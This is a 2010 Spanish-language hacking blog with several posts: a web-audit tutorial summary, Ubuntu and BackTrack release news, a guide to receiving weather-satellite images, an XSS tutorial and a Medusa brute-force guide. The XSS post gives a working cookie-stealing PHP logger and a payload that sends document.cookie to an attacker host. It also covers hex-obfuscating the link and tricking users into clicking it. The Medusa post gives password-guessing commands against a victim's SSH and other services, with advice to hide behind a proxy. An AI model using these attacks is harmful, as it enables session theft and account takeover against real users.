29 de noviembre de 2010

Tutorial para realizar tu propia auditoría Web

Bueno esto es un copy page de un articulo echo por bad_robot que encontre en mi comunidad CUTeam

Bueno este documento es muy interezante y por eso se los dejo.
Mucho diran hacer una auditoria es muy facil solo es conocer los fallos mas comunes y corregirlos o realizar un plan preventivo; pues tienen razon xD pero podria llegar a ser poco util a largo plazo o un analisis de estudio deficiente por esta razon es mejor baserse en los expertos.

Hacer auditorías Web no tiene ningún misterio. Basta con conocer los métodos, para después aplicarlos con rigor, y que la mezcla entre constancia y experiencia haga que no dejemos cabos sueltos sin atar. No obstante, se trata de hacer siempre lo mismo, ya que los puntos de control habituales son independientes de la plataforma en muchos casos. Así, por ejemplo, nos da igual que haya un Cross-Site Scripting en un aplicativo Web que corre en Apache+Linux que en un aplicativo que corre en IIS+Windows 2003. Se trata de fallos equivalentes.
Para comprobar que el método no tiene ningún misterio, este tutorial de auditorías Web de SANS Institute, en el que se puede apreciar claramente lo sencillo que es el método.
El tutorial consta de las siguientes partes
1. Introducción
2. Herramientas necesarias
3. Preparación
4. El proceso de auditoría
5. Conclusiones
6. Referencias
En el apartado 4 se ejemplifican los puntos de análisis habituales que son:

1. Análisis de robots.txt
2. Cross-Site Scripting
3. Inyección SQL
4. Cookies y campos ocultos
5. Sesiones
6. Google Hacking
7. Spidering

Localizar y arreglar vulnerabilidades no sirve de nada (si es lo único que hacemos)
Especial interés tiene para mí el final del artículo de SANS, que reproducimos a continuación:

We did not say much about how to defend against each of these tests. However, the overall approach should not be to fix vulnerabilities one at a time as they are found, but to develop strategies and procedures that will prevent these vulnerabilities in the first place. It is imperative for a Web application to create a library of authentication, access control, session handling, and validation functions that are used consistently throughout the application.

Es crucial que los análisis que hagamos sean eso, cosas útiles. Parchear vulnerabilidades es una solución deficiente, y que aporta escasa o nula utilidad para el propietario de los sistemas. Lo único que aporta valor añadido es desarrollar, tal y como dicen en SANS, estrategias para prevenir las vulnerabilidades.
También muy acertado el comentario de que la mejor auditoría posible de un aplicativo Web es aquella en la que se analiza el código fuente.
Un saludo,
Espero les guste Cheesy

link de interes

http://www.sans.edu/resources/securitylab/audit_web_apps.php --documento
http://bad-robot.blogspot.com/2009/01/tutorial-para-realizar-tu-propia.html --fuente Cheesy

2 de noviembre de 2010

Envia mensajes de texto gratis ( colombia )

nvestigando acerca de un rumor del cual uno podia enviar mensajes gratis a celulares es cierto, resulta que todas las empresas de celulares tienen unos servidores para enviar mensajes SMS desde un correo electronico

TIGO

númerodecelular@sms.tigo.com.co

Los mensajes son gratuitos, se pueden enviar hasta 125 caracteres por mensaje. En el remitente aparece la dirección de correo electrónico desde la cual se envío. No importa si el destinatario tiene o no saldo.

MOVISTAR

numerocelular@movistar.com.co

Los mensajes son cobrados, el remitente aparece como 851. Cuando el destinatario no tiene saldo, le llega un mensaje diciendo que no tiene saldo suficiente.

 

NOTA: en asunta no pongan nada o de lo contrario no les llegara yo hize la prueba desde mi correo hotmail y funciono

22 de octubre de 2010

Ataques XSS por: neohex


Bueno pues voy ha hacer una pequeña introducción a los ataques XSS, el caso que voy a poner es el de una web que utilize cookies y tenga un buscador(el típico buscador que tiene una caja de texto y un botón).
decir que para una facil compresión de este mini-tutorial es mejor tener unos conocimientos básicos sobre html.[~]Lo primero es hacer una pequeña introduccion sobre que es una cookie:
Citar

- Una cookie es un almacen de informacion que se guarda en el ordenador del usuario y en cualkier momento la pagina puede pedir la informacion, que contiene la cookie, al ordenador del usuario...


  • Ahora que sabemos que es una cookie lo que vamos ha hacer es ver el nombre de la página donde se encuentra el buscador, en nuestro caso es buscador.php(xDD)

  • Después vamos a ver si el buscador es vulnerable. Para ello podemos poner en el buscador, por ejemplo:


Código:


<script>alert(VULNERABLE.zonasafe)</script>


[~]Si salta una alarma al pulsar el boton, significa que ese buscador es vulnerable.
[~]Si no salta pues no jodemos y a buscar otro...

  • Suponiendo que sea vulnerable, el siguiente paso es ver el nombre de la caja de texto y del botón.


Para esto, tenemos que ver el codigo fuente de dicha página y buscar algo como:
<input type="text" name="palabra"> que será el textbox(caja de texto xD).
<input type="submit" name="buscar" value="Buscar"> que será el boton.

  • Ahora ya sabemos que el textbox se llama palabra y que el botón se llama buscar.[~]Para almacenar las cookies, tenermos dos opciones -> almazenarlas en una base de datos(mysql) o almacenarlas en un archivo de texto(la mas facil).

  • A continuacion vamos a crear una pagina en php, este archivo creará otro (archivo.txt) cuando algun usuario caiga en el ataque y escribira a continuacion los siguientes usuarios.


cookies.php
Código:


<?
$cookie = $_GET['cookie'];
$fff = fopen("archivo.txt","a");
fwrite($fff, "$cookie n");
fclose($fff);
?>


archivo.txt
Este archivo se creara automaticamente y será en el que se almacenen las cookies, osease, que para ver los resultados teneis que entrar en este archivo.

  • Una vez hecho este paso solo tenemos que crear "LA URL MALIGNA"(como yo lo llamo) que será de la siguiente forma:


Código:


http://www.vulnerable.com/buscador.php?palabra=<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>&buscar=;



  • Voy a explicar cada parte de esta "URL MALIGNA".

  • [~]

http://www.vulnerable.com/buscador.php
Esta parte lo unico que hace es entrar en la pagina del buscador.

[~]?palabra=
Esta parte es para darle un valor a la variable palabra, es decir, si el textbox se llamara manolo esto quedaría de la siguiente forma: ?manolo=

Lo mas importante:
[~]<script>window.location='http://www.atacante.com/cookies.php?cookie='+document.cookie;</script>
Esto es el valor que le damos a la variable palabra (que es el textbox). Este valor lo que hace esque redirecciona a la pagina http://www.atacante.com/cookie.php y le da el valor de la cookie(del usuario de la web) a la variables cookie de la pagina que creamos antes(cookies.php)
Suena un poco lioso pero es muy simple.

[~]&buscar=;
Esto lo que hace es simular que el boton (con el nombre -> buscar) este pulsado, sin esto no realizaria la acción.
Tambien decir que si el botón del buscador se llamara jose, eso tendriamos que reemplazarlo por &jose=;

  • Ahora viene la parte mas importante, que es hacer que un usuario de esa web(que esté registrado) entre en ese enlace("LA URL MALIGNA").


Esto seguramente sea la parte mas complicada, porque cualkier persona con unos conocimientos muy basicos de programacion web sabría lo que hace esa "URL MALIGNA". Con lo cual vamos a proceder a "camuflar" un poco esa URL.
Para esto vamos a sustituir cada caracter por su correspondiente valor en hexagesimal poniendo el signo % delante de cada uno.

Aquí os dejo una buena tabla HEX:
http://www.ascii.cl/es/

Con lo cual iría quedando algo así:
Código:


%70%61%6C%61%62%72%61%3D%3C%73%63%72%69%70%74%3E...


esto equivaldría a:
Código:


palabra=<script>...


y tendrias que continuar cambiando los caracteres a hexagesimal.

Como conseguir que un usuario de esa web entre en esa URL, jejeje, pues ¡¡¡puedes decirle que le toca un premio si entra!!!(xDD) o puedes entrar al foro de esa web(si lo tuviera) y poner la direccion con alguna buena escusa como: "Que le pasa a la web, cuando entro en esta URL me sale una tía en bolas";
Otra opción es ponerlo como una noticia (si tienes un sistemas de noticias) o como se te ocurra.

=============================================
Solo me queda decir que no solo son vulnerbles a un ataque XSS los buscadores, puede ser cualquier formulario que os encontreis por internet, desde un registro de usuario hasta un foro(lo digo por experiencia).
=============================================

CONCLUSION: Este ataque se basa en redireccionar a un usuario(sea como sea) hacia una pagina, tuya, en la que guardes su cookie.

Creo que como introduccion no esta mal, aunque por las bullas de ponerlo pronto a lomejor me he quedado sin decir algo, weno si me acuerdo lo pongo...

Saludos by neohex


19 de octubre de 2010

Ubuntu 10.10

ubuntu 10.10Ubuntu 10.10 disponible.Esta versión no nos ofrece muchos cambios en su interfaz, a excepción de su versión para netbooks, la cual recomendamos probar, pues Linux Ubuntu de por si es un sistema seguro y estable.

Sabemos que Ubuntu 10.10 le ha dicho adiós a la F-Spot, el visualizador de imágenes, para dar la bienvenida a Shotwell.

No esperes más, si querías desde hace mucho probar Linux, haz una copia de seguridad de tus archivos más importantes, luego procede a descargar e instalar Ubuntu 10.10, seguro que te sorprenderá para bien.

Descargas oficiales:

http://cdimage.ubuntu.com/releases/maverick/release

Hay estan las descargas por torrent o por vuestro navegador

28 de septiembre de 2010

Como bajar imagenes del espacio ( hackear satelites )

Arriba de nuestras cabezas existe una constelación de satélites que supera en gran cantidad al número imaginado por cualquiera. Cada satélite cumple una función específica y son muchos los países y consorcios económicos del mundo que invierten en ellos para obtener o brindar información de la más variada índole. Los más atractivos para el usuario común son los satélites que permiten obtener imágenes con muy pocos recursos y con resultados más que interesantes. Aficionados de todo el mundo los utilizan para observar los fenómenos más increíbles que la Tierra puede brindar. Entérate de qué se trata esta actividad y qué elementos son necesarios para obtener imágenes increíbles. 6 0 6 votos
Girando alrededor del planeta encontramos muchos satélites que hoy podemos considerar como activos, es decir, que están en funcionamiento, y otros que ya permanecen inactivos desde hace años y a los que se los considera basura espacial, basura que algún día se desintegrará en la atmósfera. Otros trabajan de manera parcial, como es el caso de muchos satélites rusos y chinos que sólo envían información a la Tierra cuando sobrevuelan su espacio aéreo o cuando desde la Tierra los habilitan para tal fin. Por supuesto que la información que pueden brindar está muy enfocada a estos países; este modo de proceder obedece a cuestiones de estado naturalmente. Por último, vale la pena destacar que existen varias formas de mantener un satélite allí arriba y dos tipos de órbitas: entre las más populares y conocidas encontramos la Heliosincrónica y la Geoestacionaria.



¿Cuánto falta para llenar la capacidad de espacios?
Los satélites de órbita geoestacionaria permanecen a una altura de 36 mil kilómetros desde la superficie de la Tierra y se desplazan a una velocidad que se equipara con la velocidad de rotación de la Tierra. De esta forma, al girar juntos, se genera la sensación de que el satélite está “colgado y quieto” en su posición cuando, en realidad, está viajando a una velocidad constante de 11 mil kilómetros por hora para mantenerse siempre en la misma posición relativa respecto a la Tierra. Estos satélites se ubican sobre la línea ecuatorial y con sólo 3 de ellos sería posible cubrir toda la superficie del planeta. Pero en la realidad no hay sólo 3 sino cientos de ellos.

El primer satélite geoestacionario fue el Syncom 3 lanzado en Cabo Kennedy el 19 de agosto de 1964. Era un satélite experimental de comunicaciones ubicado sobre el ecuador, a 180 grados de longitud en el Océano Pacífico. Este satélite cubrió televisión en vivo sobre los Juegos Olímpicos de 1964 en Tokyo, Japón, y fue utilizado para varias pruebas de comunicaciones. Los beneficios de esta clase de nave es que las antenas ubicadas en Tierra se instalan y se fijan en una posición invariable, pudiendo obtener servicios en forma permanente, como telefonía, Internet, televisión, datos meteorológicos y una cantidad innumerable de datos tácticos y estratégicos de las naciones.


En la órbita geoestacionaria, el satélite simula estar siempre en el mismo lugar
Por último, podemos decir que los satélites geoestacionarios (geosíncronos) también poseen sus desventajas. Una de las más importantes a destacar es que se requieren de artificios espaciales de gran precisión y operativos desde Tierra para poner en órbita a este tipo de naves. También se requiere de propulsión a bordo del satélite para mantenerlo en su órbita respectiva, lo que genera un coste y un peso extra que nunca es sencillo de ubicar dentro del cuerpo orbital. Los equipos de recepción deben ser de características muy especiales, en cuanto a sensibilidad y a complejidad circuital, lo que encarece las terminales haciéndolos útiles para muy pocas aplicaciones específicas por parte del público en general, como es el servicio de televisión, cierta clase de telefonía y los posicionadores conocidos como GPS.

Satélites Meteorológicos
En esta clase de nave encontramos dos tipos de artefactos bien definidos. Los de órbita geoestacionaria y los de Órbita Polar, también conocidos como heliosincrónicos o de órbita baja (LEO, Low Earth Orbit). En su incesante viaje, estos complejos laboratorios giran en torno a la Tierra unas 14 veces al día, a una altura orbital de 830 a 890 Kilómetros de altura, cubriendo en cada imagen recopilada un ancho aproximado de 3000 kilómetros. De estos satélites LEO vamos a tomar las imágenes que a su paso por cada punto del planeta vayan tomando línea a línea y vayan retransmitiéndola a Tierra en forma constante y en tiempo real. Helio significa Sol; por lo tanto, una órbita heliosincrónica significa que está sincronizada con el Sol, orbitando alrededor del planeta de polo a polo con una frecuencia establecida o sincronizada.



Satélites geoestacionarios y de órbita baja conviven en el espacio exterior
Al suministrar información visible, infrarrojo cercano y térmico permiten seguir las condiciones de la vegetación en períodos de corto tiempo, lo que los hace idóneos para estudiar fenómenos muy dinámicos como la desertificación, la deforestación tropical o los incendios forestales de gran magnitud. Entre los instrumentos que trasladan a bordo, se encuentra un sensor que es un radiómetro llamado AVHRR (Advanced Very High Resolution Radiometer) que barre línea por línea la superficie de nuestro planeta a medida que avanza, utilizando cinco detectores para colectar simultáneamente la radiación en cinco diferentes partes del espectro electromagnético (la banda 1 es visible, la 2 infrarrojo cercano, 3 infrarrojo medio, 4 y 5 infrarrojo térmico) con una resolución de 1.1 Km en su línea media o nadir. Astronómicamente hablando, se entiende que el cenit es la intersección de la vertical de un lugar con la esfera celeste, por encima de la cabeza del observador, mientras que el nadir es el punto de la esfera celeste diametralmente opuesto al cenit, atravesando por el centro del planeta.

Actualmente, encontramos 4 satélites meteorológicos de órbita baja activos en el modo de transmisión de imágenes llamado APT (Automatic Picture Transmition): el NOAA 15, NOAA 17, NOAA 18 y el NOAA 19. Estos satélites transmiten la información hacia la Tierra en dos modos: uno de baja resolución APT en la banda de los 137Mhz. y otro de alta resolución HRPT (High Resolution Picture Transmition) en 1,7Ghz. En esta última banda los datos bajan codificados en forma digital, por lo que resulta muy complejo para el aficionado reunir el equipo necesario para su correcta recepción. Además, existen otros satélites de la constelación NOAA (National Oceanic and Atmospheric Administration) de órbita baja que sólo transmiten en modo HRPT o que están desactivados y en reserva.

Por el lado de los soviéticos, el satélite Meteor 3-5 es del tipo polar de baja altura. El resultado es que realiza una órbita cada 109 minutos aproximadamente. Este satélite no es heliosincrónico. Cada día hay una leve modificación en el horario de pasaje, lo cual hace difícil el uso para observación de ciertos fenómenos debido a que la intensidad de la luz es diferente todos los días. Sin embargo, al emitir una sola imagen por línea, tiene una resolución muy buena. El Meteor 3-5 fue lanzado el 15 de agosto de 1991 y es actualmente el único satélite de la serie Meteor que está en actividad. Tiene aparentemente serios problemas con el sistema de alimentación de abordo: solamente está activo cuando recibe luz solar. Las variaciones rápidas de intensidad de la imagen se deben probablemente a fluctuaciones del sistema de poder. La resolución de la imagen es el doble de la serie NOAA.

Sistema APT de transmisión de imágenes
El sistema de transmisión de imágenes que usan estos satélites, como se ha comentado anteriormente, es el APT (Automatic Picture Transmision) y consiste en una portadora modulada en frecuencia por una sub-portadora de 2.400 Hz, que cambia de amplitud con la señal de vídeo. Las diferentes tonalidades, desde el nivel de negros hasta el de blancos, dependen de la profundidad de la modulación. De esta forma, se definirán la intensidad de los puntos que forman la imagen o pixels.


Datos relevantes de los satélites meteorológicos actuales
¿Qué necesito para bajar y ver las fotos?
Lo primero que se necesita tener es un receptor de VHF FM de banda ancha (WFM - 50Khz.) (Wide Frequency Modulation) que cubra la porción comprendida entre los 137Mhz. y los 138Mhz. Es posible bajar las imágenes en FM angosto (NFM) (Narrow Frequency Modulation), pero los blancos resultarán invariablemente ruidosos y recortados. La estrechez de banda será también causa de gran cantidad de ruido, excepto cuando el satélite esté directamente encima de nuestra ubicación. El efecto Doppler al que es sometida la señal, combinado con la estrechez de la frecuencia intermedia del canal de audio dentro de un receptor de comunicaciones, da como resultado una señal muy pobre.

En términos prácticos, un transceptor portátil de VHF que pueda recepcionar la porción del espectro mencionada puede servir para comenzar a recibir imágenes hasta alcanzar práctica y conocimientos. Luego, desearemos mejorar los resultados y avanzaremos hacia un receptor de frecuencia intermedia ancha. ¿Cómo se escucha la señal que envía el satélite en un equipo portátil? Así:



link: http://www.videos-star.com/watch.php?video=mBHkRjQLeUU&feature=player_embedded



Lo que le sigue al receptor en orden de relevancia es una antena apropiada para obtener los mejores resultados en las imágenes. Aquí es donde muchos se deben imaginar las enormes parábolas metálicas; sin embargo, nada de eso es necesario en nuestra primera incursión “satelital”. Bastará con un elemento aislante central y cuatro pequeños tubos de aluminio de 10 milímetros de diámetro que se instalan en forma de cruz. El tipo de caño utilizado para instalar pequeños cortinados es una opción económica y que cualquiera puede conseguir fácilmente a un bajo costo.



Detalle de la construcción de nuestra antena (centro de dipolos)
Con un poco de habilidad y buena voluntad podemos lograr una construcción sólida y prolija que nos permita disfrutar de una antena de características muy importantes. Las conexiones de los tubos de aluminio se realizarán teniendo en cuenta que estamos conectando dos antenas dipolo que comparten una misma base de soporte. Es decir, hacia un lado debes conectar el conductor central del cable coaxil, y hacia el tubo ubicado en el otro extremo debes conectar la malla exterior del coaxil. La medida de cada tubo de aluminio es la misma para los cuatro “elementos” y surge del siguiente cálculo: la longitud del dipolo es igual a 142,5 dividido por la frecuencia de resonancia expresada en Megahertz. El resultado obtenido será la longitud total del dipolo (ambos elementos) y vendrá expresado en metros.

L = 142,5 / F (Mhz) => L = 142,5 / 137,5 = 1,036 metros

Esta ecuación nos indica que resultarán 51,8 centímetros para cada tubo, pero como debemos restar un espacio central para el montaje, resumimos en una medida final de 50,5 centímetros por cada “elemento” de los dipolos que formarán nuestra antena. La conexión entre dipolos debe realizarse con cable coaxil de 75 ohms que llevará una medida específica (nada es arbitrario en radiofrecuencia). La medida de cada cable de conexión será equivalente al producto de ¼ de longitud de onda de la frecuencia de resonancia de la antena multiplicado por la constante de propagación de la señal dentro del cable. El valor de ¼ de longitud de onda para estas frecuencias sería de 300 (300 mil km/seg = velocidad de la luz) / F (Mhz) y a dicho valor se lo divide por cuatro.




Vista de la antena terminada y lista para se elevada
300 / 137,5 = 2,18 metros => 2,18 / 4 = 0,54 metros

En un cable coaxil cuyo dieléctrico central es de espuma (Foam), la constante de propagación equivale a 0,82, mientras que si es de plástico, equivale a 0,66. Es por este motivo que deberás hacer las cuentas de acuerdo al cable que utilices en el armado de la antena. En nuestro caso, utilizamos Foam y la medida final de cada cable resultó ser de 44 centímetros. Por último, se conectan ambos cables en paralelo y se conecta una bajada de cable también coaxil, pero ya de 50 ohms, hasta el equipo receptor. A esta construcción le agregamos un soporte central rígido, un cable de bajada de no más de 10 metros y ya tendremos una antena lista para ser emplazada en un lugar alto y despejado de objetos cercanos que puedan interferir en la correcta recepción de las débiles señales provenientes del satélite.




La antena lista para recepcionar señales
Luego de haber fabricado la antena y de escuchar los satélites en sus pasos por nuestra zona de residencia (cada paso dura entre 8 y 12 minutos según la inclinación respecto al cenit), construiremos un cable que vaya desde la salida de audio del receptor a la entrada de MIC o la de LINE IN de la placa de sonido en la computadora. Aquí hay que tener un especial CUIDADO para no dañar la placa de sonido. A pesar de ser una conexión muy sencilla donde no se requiere más que un cable con dos plugs en sus extremos, una salida de audio muy elevada en el receptor puede dañar la entrada de la placa de sonido irremediablemente.

Siempre es bueno efectuar ensayos antes de intentar bajar las imágenes para ajustar todas las variables posibles, como ser la altura de la antena, la frecuencia correcta de recepción, el volumen de salida de audio del receptor y, por supuesto, todos los parámetros importantes del último elemento necesario: el software.

Existe una gran variedad de programas en la Web para satisfacer todos los gustos. En nuestro caso, hemos seleccionado el WXtoImg. Este programa puede funcionar con Windows 95/98/Me/2000/NT/XP/Vista, Linux, FreeBSD con Linux compatibilidad instalada, MacOS X 10.4.1 o la versión anterior, según la Web de sus creadores. Durante la instalación, nos pedirá ingresar el nombre de nuestra ciudad y las coordenadas (latitud y longitud) del emplazamiento de nuestra estación. Si decidimos saltear este paso podemos realizarlo luego seleccionando la opción Ground Station Location desde el menú Options.

Ejemplo de cómo debe quedar el cuadro de locación



Luego de instalado el programa, podemos completar los datos de nuestra ubicación




Luego tildamos las opciones Disable PLL, Resync y Despeckle dentro del mismo menú Options. Con estos ajustes seleccionados, en el menú File pulsamos Update Keplers para ajustar los tiempos del programa a los de los satélites que están en órbita. También es importante sincronizar el reloj de nuestra máquina con cualquier reloj de Internet. De esta manera, al seleccionar el arranque automático del rastreo de imágenes, el programa sabrá en el preciso momento en que debe iniciar la captura de imágenes. Al hacer las primeras pruebas no será raro que obtengas imágenes inclinadas y hasta “muy inclinadas”. Esa corrección se realiza con la función Slant que encontrarás en el menú Image. Una vez que el programa comience a funcionar, déjalo actuar sólo. Él se encargará de generar todas las imágenes posibles a partir de la recibida.



Puedes seleccionar un funcionamiento automático o manual


Las imágenes inclinadas se corrigen con la función Slant


Los primeros intentos pueden ser algo ruidosos


Resumiendo
Los elementos necesarios para obtener imágenes satelitales son cuatro: receptor, antena, cables y software apropiado. El resto es práctica y mucha paciencia, como por ejemplo esperar los pasajes con mayor elevación para obtener buenas señales y, por ende, mejores imágenes. Otra cosa que aprenderás rápidamente es que las mejores imágenes las obtendrás al mediodía ya que la iluminación solar estará a tu favor en esos momentos. Por supuesto que de noche obtendrás una imagen totalmente oscura aunque útil para ajustar inclinación (slant), calibrar antenas y otros detalles que deben estar prestos al momento de intentar capturar una buena imagen.

Los satélites meteorológicos empezaron a lanzarse en 1960 y desde entonces se han convertido en una de las herramientas prácticas más útiles que ha producido la tecnología espacial. En futuras entregas profundizaremos en la recepción de imágenes satelitales y lo haremos utilizando nuestro primer receptor basado en el TDA7000. La ventaja que tendremos con ese receptor, por sobre un receptor VHF convencional, es el ancho de banda del canal de FI. Al disponer de un receptor WFM, como es el TDA7000, las imágenes resultarán más nítidas y sin distorsiones. Por ahora puedes aprender a descargar imágenes y a conocer los secretos que nos tienen preparados los incansables “pájaros de lata” que orbitan nuestro planeta.

Enlaces
Frecuencias y status Noaasis
WXtoImg Descargar programa
Guía en castellano WXtoImg en castellano

http://www.neoteo.com/como-bajar-imagenes-desde-un-satelite.neo

29 de agosto de 2010

Ataques de fuerza bruta con medusa



Devido a los diversos problemas con la instalacion de hydra me he decidido por compartirles esta informacion sacada da un blog, el cual encontraran al final del texto

Bueno primero que todo, medusa es un programa o aplicación que nos permite hacer un ataque por fuerza bruta o por diccionario. en realidad es muy simple utilizarlo, solo hay que saber leer.

Lo instalaremos en Ubuntu 10.04:

1. abre una terminal y teclea esto.
sudo apt-get install medusa
//* no tienes que descargas libretas ni nada, todo ya viene con Ubuntu y  en las ultimas versiones de Linux.

2. para abrir o ejecutar medusa teclea esto en una terminal.
medusa
Con medusa puedes crackear por diccionario de una manera muy rápida los siguientes servicios.
AFP
CVS
FTP
HTTP
IMAP
MS-SQL
MySQL
NetWare NCP
NNTP
PcAnywhere
POP3
PostgreSQL
REXEC
RLOGIN
RSH
SMBNT
SMTP-AUTH
SMTP-VRFY
SNMP
SSHv2
Subversion (SVN)
Telnet
VMware autenticación Daemon (vmauthd)
VNC
Genérico Wrapper
Web Form

características :

  1. Velocidad

  2. Estabilidad

  3. Diversidad de servicios

  4. código legible


Como usar medusa: teclea en una terminal :

madusa -d

Con este comando pudieron ver los modulos adecuados a los cuales podemos atacar.

La sintaxis de una ataque normal seria así.

medusa -h www.victima.com -u usuario -P /home/d14m4nt3/crack_passwords.txt -M ssh -f

Donde esta -h www.victima.com es el host o ip de la victima: -h 127.0.0.1, ahora la siguiente parte ” -u usuario” puede variar por que si tu te sabes el usuario simplemente colocas “-u usuario” ahora si también intentas crackear el nombre de usuario hay tendría que ir la ruta del diccionario,  “-u /home/d14m4t3/crack_de_nombres_de_usuario.txt” recuerda, cambia la ruta ala tuya, ahora el siguiente paso, “-P /home/d14m4nt3/crack_passwords.txt” es donde va a ir la ruta del diccionario de password, si tu te supieras la pass simplemente colocarias “-P tupassword”  seria raro que intentaras atacar por fuerza bruta y te supieras el pass y no el nombre de usuario jejeje.. ahora biene la ultima parte, “-M ssh” este es el modulo al cual intentamos atacar, lo puedes reemplazar segun tu caso, telnet, ftp, ssh, HTTP, MySQL, MS-SQL.. etc..

parámetros:

-h -> el host víctima


-v  -> modo verbose (mas informacion level de 0 a 6 siendo el 6 mas alto)

-H -> si tenemos un archivo txt con una lista de hosts

-u  -> el usuario al cual deseamos hacerle el cracking

-U ->  un archivo txt con la lista de posibles usuarios (muy útil si no sabemos que usuarios existen en el sistema)

-P ->  Ubicación del diccionario

-O  -> Crea un archivo log

- e  ns -> Verifica el password vacio o que ambos datos sean lo mismo

-M  -> El modulo que deseamos emplear (sin la extension .mod)

-n -> por si el servicio esta corriendo en otro puerto diferente al default

-s -> Habilita ssl

-f -> detiene el ataque en el instante de encontrar un password valido

-b -> suprime los banners

ahora ya saben como se utiliza medusa, es algo simple :=)

medusa -h www.victima.com -u usuario -P /home/d14m4nt3/crack_passwords.txt -M ssh -f

NOTA:

  1. Cambia todo y pon tus datos.

  2. Si tienes un diccionario de usuarios de 1000 lineas y otro de password de 2000 lineas, primero empezara el primer posible nombre de usuario y se enviara 2000 veces osea con cada passwaord, despues de ser enviada con cada password, seguirá el segundo nombre de usuario con las 2000 veces de los posibles password, y asi sucesivamente hasta encontrar el correcto o terminar el diccionario.

  3. solo se puede enviar un password y nombre de usuario, mas o menos cada segundo, según tu conexión, ahora si tienes un diccionario de 3600 lineas, tardaras aproximadamente 1hora en pasarlas todas.

  4. El tiempo depende de donde este ubicada la password correcta, si esta en las primeras 100 o en las ultimas 3600, este método no es 100% efectivo, simplemente aprovecha a un admin que coloco una password o nombre de usuario muy fácil, común o que estaba en un diccionario así que no esperen siempre obtener las password.

  5. IMPORTANTE: “Usen un proxy, no destruyan nada por que el administrador se puede cabrear y empezar la casería jejeje !!”


Autor: http://wp.me/p10LCD-8

28 de agosto de 2010

BackTrack 4 R1 Release



El
equipo BackTrack esta orgulloso de anunciar la liberación pública de BackTrack 4 R1. A riesgo de sonar a disco rayado creemos que esta version es la mejor que ha sido liberada a la fecha. Con un brillante nuevo kernel 2.6.34, hay muchas mejoras significativas, tales como soporte de hardware expandido, y capacidad de respuesta de escritorio mejorado. Echa un vistazo a algunas capturas de pantalla.

Las herramientas se han actualizado y un completo entorno de escritorio Fluxbox ha sido añadido. Un paseo alrededor del driver rt28xx ha sido implementado (para todos los dueños de tarjetas AWUS050NH).
La versión de VMWare tiene una completa integración con VMware Tools, que ofrece una interacción sin fisuras con BackTrack en un entorno virtual
Les deseamos a todos un buen rato con esta fina versión - Siéntase libre para descargar – quemar y crear.  si usted está buscando alta calidad en entrenamientos de penetration testing – eche un vistazo a la página Offensive Security Training.


Página oficial: http://www.backtrack-linux.org
Descargas: http://www.backtrack-linux.org/downloads/
Foro Backtrack (para plantear dudas y encontrar mucha informacióny tutos): http://www.backtrack-linux.org/forums/
En español: http://www.backtrack-linux.org/forum...panish-forums/

BackTrack 4 R1 Release ISO:

Actualizado a 08.05.2010
Name:: bt4-r1.iso Size: 2000 MB
MD5
: f393714a97862398ec2eaba1a5157784


BackTrack 4 R1 Release VMware Image:

Actualizado a 08.05.2010
Name:: bt4-r1-vm.tar.bz2 Size: 2500MB
MD5: b54a345a0619817c893183908d0957e4